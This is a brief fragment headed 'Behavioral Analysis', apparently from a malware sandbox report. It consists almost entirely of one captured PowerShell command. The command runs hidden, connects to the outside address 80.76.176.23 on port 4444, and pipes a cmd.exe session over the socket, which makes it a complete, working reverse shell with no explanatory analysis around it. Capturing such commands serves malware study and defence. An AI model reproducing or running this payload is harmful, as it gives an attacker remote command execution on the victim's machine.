Behavioral Analysis

powershell.exe powershell -w hidden -nop -c $a='80.76.176.23';$b=4444;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}